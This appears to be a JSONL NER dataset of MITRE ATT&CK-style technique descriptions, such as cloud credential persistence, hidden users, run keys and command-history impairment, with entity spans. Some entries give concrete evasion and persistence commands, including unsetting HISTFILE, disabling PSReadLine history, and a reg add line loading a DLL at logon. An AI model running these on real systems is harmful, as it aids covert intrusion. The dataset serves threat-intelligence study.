+{"text": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID. These credentials include both x509 keys and passwords. With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP. This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.\n\nAdversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts). For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator. \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account. As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.", "spans": {"TOOL: PowerShell": [[519, 529]], "TOOL: SSH": [[682, 685]], "SYSTEM: Entra ID": [[303, 311], [1530, 1538], [2234, 2242]], "SYSTEM: GCP": [[844, 847], [1119, 1122]], "SYSTEM: AWS": [[772, 775], [1044, 1047], [1228, 1231], [1283, 1286], [1851, 1854]], "SYSTEM: Azure": [[295, 300], [459, 464], [473, 478], [507, 512]]}, "info": {"source": "apt_reports", "name": "Additional Cloud Credentials"}}
+{"text": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing.\n\nWhile User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.\n\nAdversaries may also deceive users into performing actions such as:\n\n* Enabling Remote Access Tools, allowing direct control of the system to the adversary\n* Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies\n* Downloading and executing malware for User Execution\n* Coerceing users to copy, paste, and execute malicious code manually\n\nFor example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.", "spans": {}, "info": {"source": "apt_reports", "name": "User Execution"}}
+{"text": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper. Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.", "spans": {}, "info": {"source": "apt_reports", "name": "Internal Defacement"}}
+{"text": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file. Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user’s home folder by changing the <code>chflags</code> to hidden. \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>). Display Managers are not anchored to specific distributions and may be changed by a user or adversary.", "spans": {"SYSTEM: macOS": [[281, 286]], "SYSTEM: Ubuntu": [[1691, 1697]], "SYSTEM: Windows": [[1213, 1220], [1276, 1283]], "SYSTEM: Linux": [[1464, 1469]], "ORGANIZATION: Microsoft": [[1266, 1275]]}, "info": {"source": "apt_reports", "name": "Hidden Users"}}
+{"text": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.", "spans": {}, "info": {"source": "apt_reports", "name": "Make and Impersonate Token"}}
+{"text": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>", "spans": {"TOOL: Get-GPPPassword": [[656, 671]], "TOOL: Metasploit": [[566, 576]], "SYSTEM: Group Policy": [[57, 69], [528, 540]]}, "info": {"source": "apt_reports", "name": "Group Policy Preferences"}}
+{"text": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.   Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.   \n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. \n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns   or executed as part of multi-stage malware.  Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", "spans": {"SYSTEM: Windows": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Control Panel Items"}}
+{"text": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"}}
+{"text": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365. The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain. \n\nThe AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix. In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.", "spans": {"TOOL: PowerShell": [[381, 391]], "SYSTEM: Office 365": [[472, 482]], "SYSTEM: GCP": [[883, 886]], "SYSTEM: AWS": [[681, 684]], "SYSTEM: Azure": [[488, 493]]}, "info": {"source": "apt_reports", "name": "Cloud Account"}}
+{"text": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or <code>Get-Process</code> via PowerShell. Information about processes can also be extracted from the output of Native API calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.\n\nOn network devices, Network Device CLI commands such as `show processes` can be used to display current running processes.", "spans": {"TOOL: PowerShell": [[651, 661]], "TOOL: cmd": [[615, 618]], "SYSTEM: ESXi": [[930, 934]], "SYSTEM: Windows": [[508, 515]], "SYSTEM: Linux": [[807, 812]], "MALWARE: Tasklist": [[594, 602]]}, "info": {"source": "apt_reports", "name": "Process Discovery"}}
+{"text": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.\n\nAdversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.\n\nAdversaries may also leverage a Network Device CLI on network devices to disable historical command logging (e.g. <code>no logging</code>).", "spans": {"TOOL: PowerShell": [[1696, 1706], [1780, 1790], [2115, 2125]], "SYSTEM: macOS": [[243, 248], [740, 745]], "SYSTEM: ESXi": [[854, 858]], "SYSTEM: Windows": [[1616, 1623], [1772, 1779]], "SYSTEM: Linux": [[233, 238], [1311, 1316]], "ORGANIZATION: Microsoft": [[1762, 1771]]}, "info": {"source": "apt_reports", "name": "Impair Command History Logging"}}
+{"text": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> . These LaunchDaemons have property list files which point to the executables that will be launched .\n\nAn adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.", "spans": {"SYSTEM: macOS": [[483, 488], [939, 944]]}, "info": {"source": "apt_reports", "name": "Launchd"}}
+{"text": "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions. During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening. \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`. Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.", "spans": {"SYSTEM: Windows": [[183, 190], [820, 827]]}, "info": {"source": "apt_reports", "name": "Network Provider DLL"}}
+{"text": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may also compile WMI scripts – using `mofcomp.exe`  –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", "spans": {"SYSTEM: WMI": [[143, 146], [168, 171], [441, 444], [585, 588], [735, 738], [780, 783]], "SYSTEM: Windows": [[107, 114], [626, 633]]}, "info": {"source": "apt_reports", "name": "Windows Management Instrumentation Event Subscription"}}
+{"text": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).", "spans": {}, "info": {"source": "apt_reports", "name": "CDNs"}}
+{"text": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks  , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro  or waiting for a user to double click on an embedded image to activate.", "spans": {}, "info": {"source": "apt_reports", "name": "User Activity Based Checks"}}
+{"text": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell.", "spans": {"TOOL: PowerShell": [[615, 625]]}, "info": {"source": "apt_reports", "name": "Input Prompt"}}
+{"text": "Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. \n\nFor example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / Phishing emails and SMS messages. Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models.\n\nIn some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service. Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.", "spans": {"SYSTEM: AWS": [[241, 244], [273, 276]]}, "info": {"source": "apt_reports", "name": "Cloud Service Hijacking"}}
+{"text": "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.\n\nCreating Cloud Accounts may also require adversaries to establish Email Accounts to register with the cloud provider.", "spans": {"SYSTEM: AWS": [[242, 245]], "ORGANIZATION: Microsoft": [[219, 228]]}, "info": {"source": "apt_reports", "name": "Cloud Accounts"}}
+{"text": "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.  \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad Cloud Administration Command on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID. Such services may also utilize Web Protocols to communicate back to adversary owned infrastructure.\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.", "spans": {"SYSTEM: Entra ID": [[1159, 1167]], "SYSTEM: GCP": [[485, 488]], "SYSTEM: AWS": [[431, 434]], "SYSTEM: Azure": [[470, 475]], "ORGANIZATION: Microsoft": [[452, 461], [1030, 1039]], "VULNERABILITY: code execution": [[625, 639]], "VULNERABILITY: remote code execution": [[618, 639]], "MALWARE: Global": [[1069, 1075]]}, "info": {"source": "apt_reports", "name": "Software Deployment Tools"}}
+{"text": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration Over C2 Channel"}}
+{"text": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be <code>explorer.exe</code> rather than an Office document delivered as part of Spearphishing Attachment. This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.", "spans": {"TOOL: PowerShell": [[937, 947]], "SYSTEM: Windows": [[445, 452]]}, "info": {"source": "apt_reports", "name": "Parent PID Spoofing"}}
+{"text": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).", "spans": {}, "info": {"source": "apt_reports", "name": "Gather Victim Org Information"}}
+{"text": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.  These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* <code>C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>\nThe startup folder path for all users is:\n* <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>\n\nThe following run keys are created by default on Windows systems:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nThe <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.  For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> \n\nThe following Registry keys can be used to set startup folder items for persistence:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.", "spans": {"FILEPATH: C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start": [[702, 761]], "FILEPATH: C:\\ProgramData\\Microsoft\\Windows\\Start": [[841, 879]], "FILEPATH: C:\\temp\\evil[.]dll": [[1735, 1753]], "SYSTEM: Windows": [[748, 755], [866, 873], [959, 966], [1021, 1028], [1100, 1107], [1184, 1191], [1264, 1271], [1351, 1358], [1442, 1449], [1681, 1688], [1894, 1901], [1997, 2004], [2096, 2103], [2195, 2202], [2383, 2390], [2474, 2481], [2566, 2573], [2653, 2660], [2853, 2860], [2950, 2957], [3090, 3097], [3260, 3267], [3359, 3366], [3548, 3555], [3574, 3581], [3813, 3820]], "SYSTEM: Windows Vista": [[1442, 1455]], "SYSTEM: Windows 7": [[3090, 3099]], "ORGANIZATION: Microsoft": [[738, 747], [856, 865], [1011, 1020], [1090, 1099], [1174, 1183], [1254, 1263], [1341, 1350], [1671, 1680], [1884, 1893], [1987, 1996], [2086, 2095], [2185, 2194], [2373, 2382], [2464, 2473], [2556, 2565], [2643, 2652], [2843, 2852], [2940, 2949], [3250, 3259], [3349, 3358], [3538, 3547]]}, "info": {"source": "apt_reports", "name": "Registry Run Keys / Startup Folder"}}
+{"text": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.\n\nOnce forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.", "spans": {"SYSTEM: Zimbra": [[1016, 1022]], "SYSTEM: AWS": [[877, 880]]}, "info": {"source": "apt_reports", "name": "Forge Web Credentials"}}
+{"text": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to Valid Accounts may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”", "spans": {"ORGANIZATION: Duo": [[474, 477]], "ORGANIZATION: Microsoft": [[484, 493]], "ORGANIZATION: Okta": [[509, 513]]}, "info": {"source": "apt_reports", "name": "Multi-Factor Authentication Request Generation"}}
+{"text": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., Modify Authentication Process).\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.\n\nAfter modifying a binary, an adversary may attempt to Impair Defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).", "spans": {"TOOL: SSH": [[226, 229], [739, 742]], "TOOL: replace": [[442, 449]], "SYSTEM: Linux": [[1353, 1358]]}, "info": {"source": "apt_reports", "name": "Compromise Host Software Binary"}}
